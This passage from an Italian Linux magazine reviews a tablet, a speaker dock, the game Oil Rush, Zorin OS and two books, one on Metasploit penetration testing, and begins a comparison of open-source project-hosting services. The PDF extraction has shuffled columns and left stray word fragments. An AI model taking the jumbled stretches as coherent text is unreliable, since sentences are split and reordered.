l’acquisto di una microSD da almeno 4 GB (max 32 GB), altrimenti si rischia di esaurire in fretta lo spazio a disposizione. C’è solo una webcam frontale da 2 Megapixel, che va bene per le videochiamate, e l’assenza di una fotocamera più potente sul posteriore non è grave. Anche la presenza di Android 2.3 (con interfaccia che richiama Android 3.2) non è un problema, è però fastidiosa l’assenza dell’app del market uffi ciale (installabile facendo un po’ di giri) sostituita da quella del market alternativo SlideMe, buono ma non offre la stessa scelta di software di quello uffi ciale. Apprezzabile la possibilità di sfruttare un collegamento 3G, oltre al Wi-Fi, ovviamente: in questo modo si può accedere a posta e news, per esempio, da ovunque. La batteria da 4.000 mAh, se non si esagera con video, giochi e 3G, vi fa arrivare quasi a fi ne giornata. Usando la porta Mini HDMI

a?

vo

ia i fi lmati e questo è un

sto che il tablet,roduce anche

40 LINUX PRO 120

L’angolo di Android Philips/Mediacom

Philips Fidelio AS351Una pratica docking station per ascoltare le radio online o i file musicali

Caratteristiche 7Audio 7.5Facilità d’uso 8Qualità/prezzo 7

Philips Fidelio AS351

Un buon sistema di casse per il vostro smartphone, versatile e di buona qualità audio. Il costo è forse un pelo alto.

Il voto di Linux Pro

Giudizio

Produttore: PhilipsWeb: www.philips.comPrezzo: € 129,99

7.5

Questo collegamento serve però solo per ricaricare il telefono, perché la connessione su cui passa la musica è quella Bluetooth. Una volta fatto l’accoppiamento, e dopo aver scaricato l’app Fidelio, gratuita e compatibile con Android 2.1+, si gestisce tutto dal touchscreen del telefono: riproduzione musicale da fi le o dalle radio online e sincronizzazione con il PC si fanno facilmente

Avete acquistato un prezioso smartphone Android e amate usarlo per ascoltare la musica

non solo quando siete in giro ma anche in casa? Allora vi serve una dock di qualità che dia potenza alle note e, al contempo, sia magari in grado di ricarica il dispositivo. Un esempio di tale soluzione è il Philips Fidelio AS351 che abbiamo provato per questo numero. Guardando l’oggetto si nota subito sul davanti l’aggancio microUSB a cui collegare lo smartphone: è possibile spostarlo per la lunghezza e modifi carne l’inclinazione o ruotarlo (anche se le rotelline per questa operazione sono piccoline).

con TuneIn e Songbird che offrono tutto ciò di cui si può aver bisogno. La potenza in uscita totale RMS delle casse è di 10 W e la dock è provvista di Dynamic Bass Boost per preservare i toni bassi a qualsiasi livello di volume: il volume non raggiunge livelli tali da rompere i timpani, ma a qualunque volume risulta di buona qualità. La doppia alimentazione da rete e a batterie ne aumenta la versatilità.

Page 39: LinuxPro-N120_Settembre2012

Test >>Oil RushCosa fareste ritrovandovi in un mondo totalmente allagato, al comando di una flotta navale e alla costante ricerca di nuove piattaforme petrolifere da sfruttare? Lo potete scoprire acquistando questo bel gioco pag. 42

Zorin OSUn sistema operativo commerciale pensato per avvicinare gli utenti Windows al mondo Linux pag. 44

In libreriaΔ Amministrare GNU/Linux Δ Metasploit Pen Testing Cookbook pag. 46

Confronto >>Nell’arena di Linux Pro si sono affrontati i migliori servizi di project hosting per progetti Open Source. Dove aprirete il vostro prossimo progetto? pag. 48Δ BerliOS Δ GitHub Δ Google Code Δ SavannahΔ SourceForge

Da non perdere >>Cinque programmi liberi da provare subito!Δ MyJgui pag. 54Δ Urban Lightscape pag. 55Δ din pag. 55Δ Mundus pag. 56Δ Avoision pag. 56

Oil Rush

BerliOS

Avoision

LINUX PRO 120 41

RecensioniTutte le novità in campo software e hardware testate e valutate ogni mese dai nostri laboratori

QUESTO MESE...

Ogni test di questa sezione

è accompagnato da un giudizio

che riassume con quattro indici numerici

le principali qualità dell’applicazione

o del prodotto hardware messo alla prova.

I laboratori di Linux Pro assegnano

un voto da 1 a 10 alle seguenti categorie:

Caratteristiche: fornisce tutte

le funzioni di cui abbiamo bisogno?

È innovativo?

Prestazioni: esegue in maniera

efficiente le sue funzioni?

È veloce e affidabile?

Facilità d’uso: dispone di un’interfaccia

grafica chiara e facilmente fruibile?

La documentazione che lo accompagna

è sufficientemente completa ed esaustiva?

Qualità/prezzo: ha un prezzo

competitivo? Vale i soldi richiesti

per il suo acquisto?

Il nostro giudizio viene

poi riassunto da un voto finale,

espresso anche graficamente.

Ecco la legenda dei voti:

10 Nulla da eccepire. Un prodotto

praticamente perfetto.

8-9 Un buon prodotto. I pochi

difetti presenti non sono gravi.

6-7 Compie il suo lavoro ma

necessita di ulteriori sviluppi.

5-4 Deve migliorare prima di

raggiungere un voto sufficiente.

1-3 Un completo disastro.

Gli sviluppatori devono tornare

alla fase di progettazione.

Ricordiamo infine che i software citati

nelle sezioni Confronto e Da non

perdere sono spesso presenti nel DVD

sotto la voce “Rivista” sotto forma

di codice sorgente o binario.

Una breve legenda

Page 40: LinuxPro-N120_Settembre2012

Passo passo Le chiavi del successo

1 Guardare la mappaI punti rossi sono le vostre unità. Se i punti avversari

si avvicinano ai vostri spazi, respingeteli.

2 DifendeteviNon dimenticate di circondare le vostre basi con

tutte le torrette che potete, costose ma effi caci.

3 Il numero fa la forzaAssaltate le postazioni nemiche con quante più

unità possibili muovendole tutte in una volta sola.

42 LINUX PRO 120

Test Oil Rush

Oil RushLinux Pro pondera sul futuro del nostro pianeta sprecando elettricità mentre gioca a questo titolo di strategia che fa pensare all’ambiente…

Le battaglie campali sono piuttosto complicate da seguire, quindi è meglio essere consci della forza della propria armata prima di andare allo sbaraglio

Il mondo ha preso la strada sbagliata. I mari si sono alzati, inondando le terre. La lotta per accaparrarsi le risorse

è iniziata. Fortunatamente qualcuno a costruito delle piattaforme petrolifere lasciandole in giro per i mari pronte a essere rivendicate dalla potenza navale più grande. Questo è il mondo acquatico di Oil Rush. Vi ritrovate nei panni di Kevin, un marine australiano, il cui nome è un riferimento al Waterworld di Kevin Costner oppure il meno intimidatorio dei nomi per un eroe, a voi la scelta. Un tizio sinistro dal nome di Commander vi ordina di disperdere varie fazioni nemiche e di assicurarvi la fornitura di petrolio usando qualunque mezzo abbiate a disposizione. Voi forse non vorreste farlo. Il comandante non è un uomo carino e la sua voce, come altre voci del gioco, è abbastanza atroce. Ma la campagna di Oil Rush, il cui andazzo appare ovvio fi n dal primo incarico, non vi lascia il tempo di pensare. Ci sono delle cose da far esplodere.

Salti di genereLo stile di gioco di base di Oil Rush è un misto tra strategia in tempo reale

effetto sulla loro effi cacia. La libertà d’improvvisazione è piuttosto ristretta: se il posto è libero e avete abbastanza risorse, perché non tirar su una torre? Le unità mobili sono ancor più limitate: il massimo controllo che avete su di loro è quello di dirgli “da qui va li” e “torna indietro”. Niente manovre complicate,

e difesa delle torri. Siete a caccia di risorse. Ottenere il controllo delle varie stazioni vi consente di produrre unità fi no a un limite prefi ssato, e potete spedire queste unità a distruggere i mezzi nemici. Fin qui siamo in ambito RTS. Le basi militari vi consentono anche di costruire delle torrette difensive di vario tipo, a patto di avere abbastanza risorse. Ogni torretta è specializzata nell’attacco di un particolare tipo di nemico. Qui siete in ambito “difendi la torre”. In entrambi i casi Oil Rush non offre soluzioni particolarmente innovative, è piuttosto classico. Avete dei posti prefi ssati in cui costruire le torrette, ma la direzione sembra aver poco

niente scelta del percorso. In apparenza, i piloti dei motoscafi sono così concentrati sullo spingere sull’acceleratore che si dimenticano di girare il volante. Voi potete, ovviamente, dividere le vostre truppe in gruppi diversi, sia per tipologia sia per percentuale. Potreste, per esempio, selezionare le vostre unità aeree se a terra

P

tra strategia in

Page 41: LinuxPro-N120_Settembre2012

LINUX PRO 120 43

Oil Rush Test

Gameplay 8Grafica 8Facilità d’uso 7.5QUalità/prezzo 7.5

Oil Rush

Ingannevolmente profondo e un po’ eccentrico, Oil Rush vi offre alcune ore di buon divertimento.

Il voto di Linux Pro

Giudizio

Sviluppatore: Unigine CorpWeb: www.oilrush-game.comPrezzo: $ 19,95

7.5Il gioco pone molta enfasi sull’uso delle telecamere, in grado di farvi seguire da vicino l’azione delle vostre unità, ma noi non le abbiamo trovate poi così tanto utili

Unigine ama veramente le grandi esplosioni e le enormi nubi di fumo nero. Non sappiamo come lo abbiamo capito, chiamatelo un presentimento…

la situazione è diffi cile, oppure inviare le vostre unità più veloci quando quelle con la maggior potenza di fuoco risultato troppo lente. Qualche volta è una buona idea lasciare indietro alcune unità: è vero che la forza sta nel numero, ma le piattaforme petrolifere non possono essere difese con le torrette, quindi anche poche unità possono far la differenza tra l’avere un buon rifornimento di risorse e il perdere la guerra. Potete solo scegliere se mandare il 25% o il 50% delle truppe a difendere le piattaforme, ma in questo caso la semplicità è un pregio. Dopo avervi fatto ambientare attraversando alcune missioni ed esplorando i vari tipi di unità a vostra disposizione, il gioco tira una palla curva: Oil Rush a un certo punto inizia a diventare più un gioco di gestione delle risorse che altro. Ci sono sfi de assolutamente insormontabili senza un arsenale al completo. Ci sono dei vantaggi strategici nel permettere alle vostre risorse di petrolio di riempirsi: unità extra, torri più potenti o powerup sviluppati dall’albero delle tecnologie. Tutte cose che vi possono far catturare una piattaforma nemica se ci sono, o far perdere un battaglione se mancano. Nei livelli standard si tratta più di un gioco d’attesa che di una corsa, quindi il tempo a volte appare allungato artifi cialmente. Però non tutti

i livelli seguono lo stesso percorso. A volte vi ritrovare a correre contro il tempo sviluppando torri difensive per respingere un attacco incombente. Altre volte vi ritrovate a controllare un grande esercito e a dover prendere al volo decisioni tattiche, oppure a cercare il percorso migliore tra le torrette nemiche. Oil Rush è la progenie del gruppo di sviluppatori dell’Europa dell’est Unigine Corp, i creatori dell’engine grafi co che sta dietro al benchmark Heaven per Windows, quindi non ci sorprende il fatto che uno degli aspetti migliori del gioco sia l’impatto visivo. La trasparenza del mare resa splendidamente, gli oggetti defi niti fi n nei minimi dettagli anche quando la loro vita è breve, sono davvero belli da vedere, anche se forse manca un po’ di varietà. Nei vari livelli vi ritrovate spesso con le stesse unità e le stesse piattaforme, e i dintorni appaiono sempre un po’ gli stessi.

Mini meravigliaEppure la parte grafi ca potrebbe non essere l’aspetto migliore del gioco. Sapete cosa amiamo? Guardare alla mini mappa posta nell’angolo in basso a destra dello schermo. Anche se lo schermo è grande, il componente più importate occupa uno spazio limitato mentre si gioca, rendendoci più sicuri e senza farci impazzire alla ricerca dei comandi. Non è un’esagerazione dire che potreste giocare quasi ogni livello guardando, quasi, solo la mini mappa e usando il mouse. Dovete osservare il resto dello schermo giusto per fare qualche upgrade o per costruire le torri, ma fi nisce qui. Nel tutorial, da seguire con attenzione, si pone molta enfasi sulle telecamere che seguono l’azione delle truppe e cose simili (per ogni cosa il tutorial vi illustra le scorciatoie da tastiera, molto pratiche durante i momenti di gioco più frenetici), ma giocando ci siamo ritrovati a usarle molto di rado. In defi nitiva Oil Rush è un gioco davvero piacevole, certamente uno dei migliori RTS e giochi di difesa della torre in circolazione per GNU/Linux. Non richiedere di essere dei super esperti di tattica per vincere, quindi piacerà

ai principianti del genere, e a meno che non vi piacciano solo gli sparatutto iperfrenetici, l’attesa della prossima ondata nemica non vi darà fastidio. È anche vero che ben presto vi verrà voglia di fare una partita in multiplayer, via LAN o via Internet. Il gioco è interamente in inglese (testo e parlato), è multipiattaforma e per giocarci con Linux dovete avere una scheda video 3D con i corretti driver proprietari attivi, una CPU da almeno 2 GHz e almeno 1 GB di RAM. Il prezzo di Oil Rush è di 19,95 dollari ed è possibile acquistare anche delle espansioni (che però non abbiamo provato). LXP

Page 42: LinuxPro-N120_Settembre2012

44 LINUX PRO 120

Test Zorin OS

Zorin OS Sarà questo il sistema in grado di gettare un ponte stabile tra gli utenti Windows più intrepidi e il mondo di Linux? Linux Pro ha provato a scoprirlo...

Caratteristiche 7.5Prestazioni 7Facilità d’uso 8Documentazione 5

Zorin OS

Fornisce un’esperienza simil-Windows senza bisogno di licenza, ma manca la documentazione.

Il voto di Linux Pro

Giudizio

Sviluppatore: Zorin GroupWeb: http://zorin-os.comPrezzo: Vers. standard gratis, vers. Premium € 10 download, € 18 disco

7

La maggior parte delle distro Linux competono una con l’altra per acquisire utenti già appartenenti alla comunità Open. Zorin OS, invece, mira ad acquisire sangue fresco

Zorin Look ChangerCon questo tool gli utenti Windows possono ottenere un desktop familiare, simile a quello di XP, 7 o GNOME 2.

AWN DockUn dock pulito e semplice da usare, ma nelle nostre prove a volte a prodotto dei glitch grafi ci un po’ fastidiosi.

In evidenza

Linux per utenti Windows: è un modello di business che è già stato provato in passato, giusto per

fare qualche nome vi ricordiamo Lindows/Linspire, ma tutti questi tentativi sono fi niti nel dimenticatoio. Però l’idea non è scomparsa. Zorin OS e i suoi sviluppatori da qualche tempo ci stanno riprovando. Il sistema si appoggia sulla modalità fallback di GNOME 3 personalizzata con un particolare dock, AWN (http://wiki.awn-project.org/). Questo dock è molto più fl essibile di quello di GNOME e gli sviluppatori lo hanno usato per far sentire gli utenti Windows a casa propria. Di default il desktop ha un aspetto simile a quello di Windows 7, ma può mimare anche Windows XP o GNOME 2 usando il tool Zorin Look Changer. Questo strumento dovrebbe consentire all’utente il passaggio tra stili differenti senza chiudere le fi nestre aperte. Eppure nelle nostre prove ci siamo ritrovati il tool bloccato su un tema e l’unico modo per cambiarlo è stato di fare il logout e poi rientrare.

Confronto tra mercatiQualunque stile scegliate, tutti sembrano puliti e facili da usare,

e Play on Linux che compiono un buon lavoro nel tentativo di far girare il software Windows sotto Linux, a patto di sapere come usarli. A questo punto si registra il difetto maggiore di Zorin OS: la scarsissima documentazione. La voce Help nel menu principale apre l’help di GNOME 3, cosa che può confondere l’utente visto che le schermate presentate sono diverse da quelle del sistema. È ragionevole aspettarsi che utenti Debian o Fedora sappiano che Wine è in grado di eseguire programmi Windows, o che Ubuntu One serva per lo storage nella cloud, ma questo livello di conoscenza non deve essere dato per scontato per un utenza che arriva da Windows. Certo, sono poche le persone che si leggono dei pesanti manuali, ma una fonte d’informazione che sia accessibile è di inestimabile valore quando si muovono i primi passi in un nuovo sistema. Questo è ancor più vero per Wine e i suoi add-on, perché a volte far funzionare il software al suo interno può non essere facile. Zorin OS non è un progetto comunitario

ma possono risultare pesanti su macchine con scarsi requisiti hardware. Negli ultimi mesi nel mondo Linux c’è stato un rapido aumento del numero di ambienti che seguono lo stile dei desktop tradizionali. Quindi questo ci porta a un confronto diretto con altre nuove interfacce; le più popolari sono Cinnamon e Mate. Rispetto ad esse, il desktop di Zorin appare un po’ più squadrato – forse perché è pensato per un pubblico poco tecnico – ma anche un po’ rozzo. Siamo incappati in occasionali errori di visualizzazione che non hanno infi ciato l’usabilità ma hanno dato un senso di grossolanità. Speriamo che questo aspetto venga raffi nato nelle versioni future. Ma il collegamento con Windows non si limita all’aspetto: gli sviluppatori hanno cercato di facilitare il passaggio a Linux anche del software. Sono difatti stati inclusi Wine, Wine Tricks

ma un prodotto commerciale. Assieme alla versione Standard, gratuita, trovate l’edizione Premium a 10 € (download) o 18 € (disco). Zorin ha assemblato un ambiente desktop amichevole che strizza l’occhio a chi vuole fuoriuscire dal sistema di Redmond. Tuttavia potrebbe servire qualcosa in più per corteggiare questo tipo di utente. Un migliore sistema di help e la preinstallazione si qualche PC/notebook, ad esempio. LXP

Page 43: LinuxPro-N120_Settembre2012

CORRI SUBITO IN EDICOLA!

Quando la PASSIONEsi chiama COMPUTER!

min_cm_207x285.indd 1 01/08/12 10.21

Page 44: LinuxPro-N120_Settembre2012

46 LINUX PRO 120

Test In libreria

Metasploit Pen Testing CookbookLinux Pro scopre un libro di ricette privo di consigli culinari

al vulnerability assessment, passando poi alle metodologie d’attacco e all’exploiting delle macchine compromesse. La seconda metà del libro è votata ad argomenti più avanzati, come l’uso di Meterpreter e il social engineering. In defi nitiva abbiamo trovato il testo facile da seguire (nonostante l’inglese) e soprattutto dotato di un taglio piuttosto pratico, ricco di esempi. Questo piacerà più al lettore che vuole imparare facendo le cose, piuttosto che a quello che preferisce leggere in poltrona. L’autore non assume che il lettore abbia particolari conoscenze, però per applicare le tecniche illustrate è necessario avere solide basi di networking e di conoscenza dei sistemi operativi. Il penetration testing è una parte importante

Il penetration testing è l’arte di attaccare un computer per scoprirne le vulnerabilità che

potrebbero essere sfruttate da maliziosi attaccanti. Un sistema trovato “debole” può essere poi aggiornato per rimuovere le falle, aumentandone quindi il livello di sicurezza. Metasploit è l’applicazione più popolare per gestire questo tipo di attacchi, ed è usato sia dai white hat che dai black hat per coordinare le loro attività. Esso unisce in un unico pacchetto tutti i tool necessari per fare un penetration testing, dalla scansione delle reti alla gestione di un database di vulnerabilità. Questo libro segue un fl usso logico, dal recupero delle informazioni

Amministrare GNU/Linux Il principe dei testi per la preparazione alla certificazione Linux LPI

GNU/Linux sembra continuare ad avere un futuro a due facce: dal lato desktop

il numero di utenti a volte cresce e a volte diminuisce, dal lato server, invece, vediamo fi orire sempre più richieste di lavoro in cui si cerca del personale qualifi cato, con o anche senza esperienza a volte. Quale modo migliore per dimostrare di essere qualifi cati se non quello di prendere una certifi cazione LPI? Bene, se volete intraprendere questa strada, è necessario avere del buon materiale su cui studiare. Per questo motivo abbiamo richiesto a Lici.it (Linux Certifi cation Institute) una copia del libro Amministrare GNU/Linux di Simone Piccardi, usato proprio come testo uffi ciale, approvato da LPI, per la preparazione agli esami LPI 101 e 102 e in parte anche per il 201 e il 202. Il volume

Amministrare GNU/Linux

Copre una buona fetta delle cose da sapere per amministrare un sistema Linux. Alcuni dettagli sarebbero da aggiornare.

Il voto di Linux Pro

Giudizio

Autori: Simone PiccardiEditore: Lici.itISBN: 978-1-4457-5468-0Pagine 518Prezzo: € 39,50 (stampato), € 3,90 (PDF)

8.5

è “importate” sia per i contenuti sia per le dimensioni (è piuttosto voluminoso). La lettura delle oltre 500 pagine che lo compongono è impegnativa: si parte dall’architettura del fi lesystem, dai processi e dalla shell per poi passare all’attivazione dei servizi. I capitoli 4, 5 e 6 trattano l’amministrazione di sistema (backup, gestione pacchetti e utenti, partizionamento, kernel, boot, gestione interfacce e RAID) e infi ne c’è la parte relativa al networking (TCP/IP, confi gurazione della scheda di rete, comandi e servizi base di rete, DNS), forse quella che più ci è piaciuta. Tutti gli argomenti vengono spiegati “da zero” in modo chiaro e con un gran numero di esempi, grafi ci e tabelle riassuntive. Alcuni dettagli del libro andrebbero aggiornati (ad esempio, ora la certifi cazione LPI dovrebbe includere GRUB2, di cui

non si parla nel testo), ma per il resto questa è una delle letture più istruttive in campo Linux che si possano fare. Una nota: dal 10 agosto al 20 ottobre Lici.it ha deciso di fare il 20% di sconto su tutti i suoi libri (cartacei e PDF) inserendo in fase d’acquisto nel carrello il codice LXP120.

del processo di creazione di un sistema di sicurezza. Comunque vi ricordiamo che se volete mettere in pratica questa tecnica è necessario avere il permesso di chi viene attaccato, altrimenti si rischiano sanzioni anche pesanti. LXP

Metasploit Penetration Testing Cookbook

I segreti di Metasploit spiegati in modo esteso e molto pratico.

Il voto di Linux Pro

Giudizio

Autore: Abhinav SinghEditore: Packt PublishingISBN: 978-1-84951-742-4Pagine 241Prezzo: € 38,99

8

Page 45: LinuxPro-N120_Settembre2012

48 LINUX PRO 120

Supponiamo che abbiate avuto un’idea brillante per un nuovo software Open Source. Avete

scritto il codice, corretto tutti i bug, creato un logo accattivante e siete pronti a mostrare il software al resto del mondo. L’unico problema è: dove

pubblicare il tutto? Ognuno di noi è capace, al giorno d’oggi, di creare una pagina Web e pubblicarla online, ma gli utenti si aspettano di più. Vogliono siti interattivi, dove possano utilizzare un forum per lasciare dei commenti o aprire un bug

se pensano che il software possa essere migliorato. Si aspettano un Wiki che contenga la documentazione e un sistema di controllo del codice sorgente, che permetta loro di provare l’ultima versione. Se volete che altre persone prendano parte al vostro progetto, dovete

inoltre fornire una moltitudine di strumenti che li possano coinvolgere. Fortunatamente ci sono molte soluzioni di hosting per i più disparati progetti su Internet. Ma, analogamente alla scelta di una distribuzione Linux, a una prima occhiata la varietà

di scelta può intimorire. Quindi questo mese abbiamo preso in considerazione cinque dei più famosi servizi di project hosting e abbiamo esaminato quali funzioni forniscono, quanto sono facili da usare e ogni sorta di progetti per i quali vengono utilizzati. Per esempio, un piccolo client IRC amatoriale ha bisogno di funzionalità differenti rispetto al kernel di un sistema operativo. Per questo abbiamo testato anche la fl essibilità dei servizi.

“Gli utenti si aspettano un sistema di controllo del codice che permetta loro di provare l’ultima versione”

Test Confronto

Project HostingQuali sono i migliori servizi di hosting che possono ospitare nuovi e fantastici progetti Open Source? Diamo un’occhiata a quello che la Rete ci mette a disposizione

Δ BerliOS

Δ GitHub

Δ Google Code

Δ Savannah

Δ SourceForge

LA NOSTRA SELEZIONE

COME ABBIAMO CONDOTTO I TEST

Abbiamo creato dei progetti in ognuno dei cinque servizi di hosting, valutando quanto fosse semplice confi gurare il tutto e quanto l’interfaccia fosse facile da utilizzare. Prima di tutto abbiamo passato in rassegna le funzionalità essenziali dell’amministrazione, personalizzando le pagine Web, caricando i fi le sul server, confi gurando i diversi canali di comunicazione e abilitando la funzionalità di bug tracking (ove presente). Durante questo processo, ci siamo messi nei panni di un amministratore di un nuovo progetto, impaziente di pubblicare il proprio lavoro su Internet e attirare più partecipanti. L’interfaccia di utilizzo dell’amministrazione e la facilità di fare cambiamenti sono stati i principali fattori nei nostri test. Altri fattori che hanno infl uenzato la nostra valutazione sono stati le performance del servizio (test effettuato nell’arco di diversi giorni), se le pubblicità fossero più o meno intrusive, e quanto fosse facile trovare il nostro progetto rispetto agli altri ospitati sul sito.

Page 46: LinuxPro-N120_Settembre2012

LINUX PRO 120 49

SourceForge vince facilmente in questa categoria.

Verdetto

Google Code permette di confi gurare un sito con il minimo sforzo, si devono inserire solo il nome, una breve descrizione

e la licenza di riferimento. Quando il processo è completato, ci si trova con un sito Web dalla grafi ca minimalista con collegamenti ad aggiornamenti, download dell’applicazione e wiki. Non c’è molto da fare per la personalizzazione, per questo i progetti su Google Code tendono ad apparire tutti uguali, ma l’effetto positivo è che questi siti sono facili da navigare, e nella pagina principale un utente può vedere subito lo stato di attività. L’indirizzo Web è del tipo http://code.google.com/p/mioprogetto. Lavorare con BerliOS è invece un po’ più complicato, con un sacco di informazioni e licenze da leggere e approvare. L’ostacolo maggiore è, tuttavia, l’attesa per l’approvazione del progetto da parte del team (generalmente entro le 24 ore). D’altro canto, in questo modo vengono ridotti i progetti ‘fantasma’. Una volta che il progetto è stato approvato, si possono caricare pagine HTML e immagini via SCP, ma la pagina principale deve contenere il logo di BerliOS e un link al sito principale. L’URL assegnato è del tipo http://mioprogetto.berlios.de.

BerliOS fornisce un sistema Web di segnalazione dei bug, con categorie, priorità e gruppi; un amministratore

può impostare i bug come aperti, chiusi

Configurazione e hosting Web

Segnalazione bug

Quanto è facile confi gurare un nuovo progetto?

La segnalazione dei problemi è effi ciente?

SourceForge ha un processo di sottoscrizione molto curato e accattivante, che presenta subito le opzioni disponibili: wiki, blog, forum, SVN e altro, il tutto accompagnato da immagini di esempio. Potete scegliere dei box per le opzioni di cui avete bisogno, e anche se sembra troppo presto pensare a queste cose durante l’iscrizione, ci piace il fatto che vengano presentate fi n dall’inizio. Potete poi procedere con il caricamento di pagine HTML e di immagini a vostra scelta. È tutto estremamente facile da usare. GitHub fornisce spazio gratuito per i progetti Open Source (ci sono diversi tipi di abbonamento, a seconda del numero di repository che volete creare), e tutto quello che dovete fare è fornire il nome per il vostro progetto, dopodiché viene creato automaticamente un repository Git. Non ci sono particolari operazioni da compiere, ma solo una lista di comandi Git da inserire. L’operazione principale che si può effettuare dal Web è quella di navigare all’interno del repository, e si possono pure caricare delle pagine HTML. Savannah è stato, invece, una frustrazione continua, rigettando la password scelta (sembra che una combinazione di undici caratteri, di lettere e numeri, maiuscole e minuscole, non sia

(risolti), duplicati o invalidi. Si possono anche creare delle query SQL per mostrare la lista solo di certi tipi di bug. Il sistema di gestione delle segnalazioni (o, in inglese, Ticket) di SourceForge,

tuttavia, ha un’interfaccia utente più accattivante, ma pecca nella facilità con cui si può assegnare la priorità a un gruppo di bug, e può essere un problema se si vogliono modifi care decine di bug in un colpo solo. Il sistema messo a disposizione da Google Code è molto semplice, ma mostra prontamente un template per

personalizzare

abbastanza sicura) e forzandoci a decifrare il captcha per poterlo inserire. I requisiti per caricare i fi le sono fi n troppo rigorosi, con il processo di registrazione che chiede di confermare che possediamo i diritti su tutti i fi le caricati e pretende una copia della licenza all’interno del fi le compresso che si intende pubblicare. Si deve anche fornire un link a un altro fi le compresso, così che gli amministratori sito possano controllare che sia tutto in ordine; la documentazione suggerisce di utilizzare il termine ‘GNU/Linux’ invece di ‘Linux’ nelle descrizioni, al fi ne di velocizzare l’approvazione in tempi rapidi. Dopodiché si possono uploadare i fi le HTML, visibili a un indirizzo del tipo www.nongnu.org/mioprogetto.

la segnalazione, chiedendo all’utente i passi esatti per riprodurre il problema. Apprezzeremmo molto che anche gli altri servizi facessero così, perché in questo modo si ridurrebbero il numero di segnalazioni inutili, del tipo ‘il vostro programma non funziona’. Sorprendentemente, il sistema messo a disposizione da GitHub è estremamente basilare, con la sola possibilità di assegnare i bug a certi sviluppatori e impostare delle milestone, che rappresentano dei check-point in cui si devono chiudere alcuni bug (generalmente una milestone fa riferimento a una o più funzionalità del programma che si vogliono migliorare). Anche Savannah ha un gestore alquanto scarno, che non richiede all’utente troppe informazioni.

Google Code richiede agli utenti di inserire un gran numero di informazioni

In SourceForge è molto facile aggiungere funzionalità al progetto che si è creato

BerliOS è di gran lunga quello più completo.

VerdettoBerliOS

GitHub

Google Code

Savannah

SourceForge

Confronto Test

BerliOS

GitHub

Google Code

Savannah

SourceForge

Page 47: LinuxPro-N120_Settembre2012

50 LINUX PRO 120

Test Confronto

Essere capaci di tracciare chi visita il sito Web del nostro progetto e monitorare l’attività dei file

scaricati, permette di avere dei preziosi feedback sul progetto stesso. Come impostazione predefinita, Google Code non aiuta più di tanto, a parte fornire le statistiche di download dei singoli file; per avere maggiori informazioni si deve collegare il progetto con un account Google Analytics, operazione leggermente seccante. GitHub fa un lavoro migliore, con grafici dettagliati che esprimono informazioni come ‘impact’ (che rappresenta la quantità di commit) e ‘punchard’ (che mostra

Statistiche di utilizzoChi visita il tuo sito e quali fi le scarica?

i commit effettuati nelle diverse ore del giorno sull’arco dei giorni della settimana); recentemente sono stati aggiunti ulteriori grafici, come quello sui ‘contributor’ che mostra le statistiche (commit e linee modificate) per ogni singolo partecipante al progetto. Anche SourceForge ha dei piacevoli grafici che rappresentano l’attività in termini di visite al sito, il forum, lo stato delle segnalazioni e informazioni sul sistema di versioning: si può definire un arco temporale di riferimento per essi. Fornisce, inoltre, alcune informazioni aggiuntive, come la provenienza dei visitatori, il sistema operativo utilizzato,

ecc. Per BerliOS la situazione è un pochino più complicata, in quanto c’è una vista separata per monitorare le statistiche del sito e anche una pagina separata nell’amministrazione per controllarle. Queste sono accompagnate da grafi ci dettagliati (a volte fi n troppo ‘matematici’), ma non si ha, ad esempio con le date, lo stesso tipo di controllo capillare che si ha con SourceForge. Savannah, invece, fornisce dei semplici grafi ci a barre per i bug segnalati (chiusi, aperti, ecc.) e per i download, e un tool separato (l’ormai famoso AWStats) per le statistiche del solo sito Web.

Pieni voti per tutti, per determinazione e perseveranza.

Verdetto

AmministrazioneQuanto è facile e usabile l’interfaccia amministrativa?

Come sviluppatori principali del progetto, passerete molto tempo usando l’amministrazione Web del sito. Questo comprende operazioni come il caricamento di nuove versioni

del software, l’aggiunta di schermate di esempio, il rispondere ai bug o moderare le discussioni sul forum. Detto questo, la ‘bellezza’ dell’interfaccia non è una funzionalità; non vi deve importare di quanti effetti Ajax essa offra. Vi dovete focalizzare sulla possibilità di fare il tutto con meno click possibili del mouse (o, ancora meglio, con le combinazioni da tastiera).

Nel resto dell’articolo parliamo delle funzionalità individuali, qui, invece, ci focalizziamo sul funzionamento generale dell’interfaccia, giudicando quanto sia facile da navigare, la velocità di risposta e, nel caso, se sono presenti noiosi impedimenti o procedure complicate. Non importa che esistano degli strumenti che possono automatizzare il rilascio di una nuova versione del software su diverse piattaforme, ne è un esempio Shipper (www.catb.org/~esr/shipper/), che permette di fare rilasci su SourceForge direttamente dalla linea di comando.

BerliOSSebbene l’interfaccia di BerliOS sia molto scarna e ‘testuale’, e a volte risulti faticosa da guardare, non è diffi cile entrare nella sua logica di funzionamento. L’accesso alle funzionalità principali è fornito direttamente in cima alla pagina, e per molte delle funzionalità è presente un pulsante di amministrazione che consente di modifi care facilmente le impostazioni. Il più grande difetto di BerliOS è, tuttavia, che non salva la stato dell’utente attraverso sessioni multiple. Questo signifi ca che ogni volta che chiudete il vostro browser e lo riaprite, dovete effettuare il login per accedere nuovamente all’amministrazione. Non è la fi ne del mondo, perché i browser più moderni sono capaci di salvare le informazioni di accesso, ma aggiunge un piccolo fastidioso passo in più quando volete accedere velocemente per rispondere all’ultima segnalazione di un bug. Nel complesso, tuttavia, è una buona interfaccia.

GitHubPer GitHub, il repository è il fulcro centrale, e tutta l’interfaccia di gestione si basa essenzialmente sull’interazione con esso. Un utente può navigare nel codice sorgente, vedere chi ha effettuato l’ultimo commit e sottoscrivere (‘watch’) i progetti dai quali vuole ricevere aggiornamenti quando qualcosa viene pubblicato. È anche possibile vedere i fork del codice e verifi care in anticipo se alcune patch possono essere applicate in modo pulito al repository principale. Fortunatamente ci sono un bel po’ di guide, corredate da schermate e comandi esemplifi cativi, che spiegano come amministrare il repository e correggere i problemi; e queste sono divise in categorie a seconda dell’esperienza dell’utente. C’è anche un basilare progetto ‘Hello World’ per testare le funzionalità. Tutto sommato l’interfaccia è curata e professionale, e mette il codice sorgente al centro. Un ottimo design per progetti altamente collaborativi.

BerliOS

GitHub

Google Code

Savannah

SourceForge

Page 48: LinuxPro-N120_Settembre2012

LINUX PRO 120 51

Confronto Test

Der alcuni progetti, specialmente per quelli con una manciata di collaboratori, utilizzare

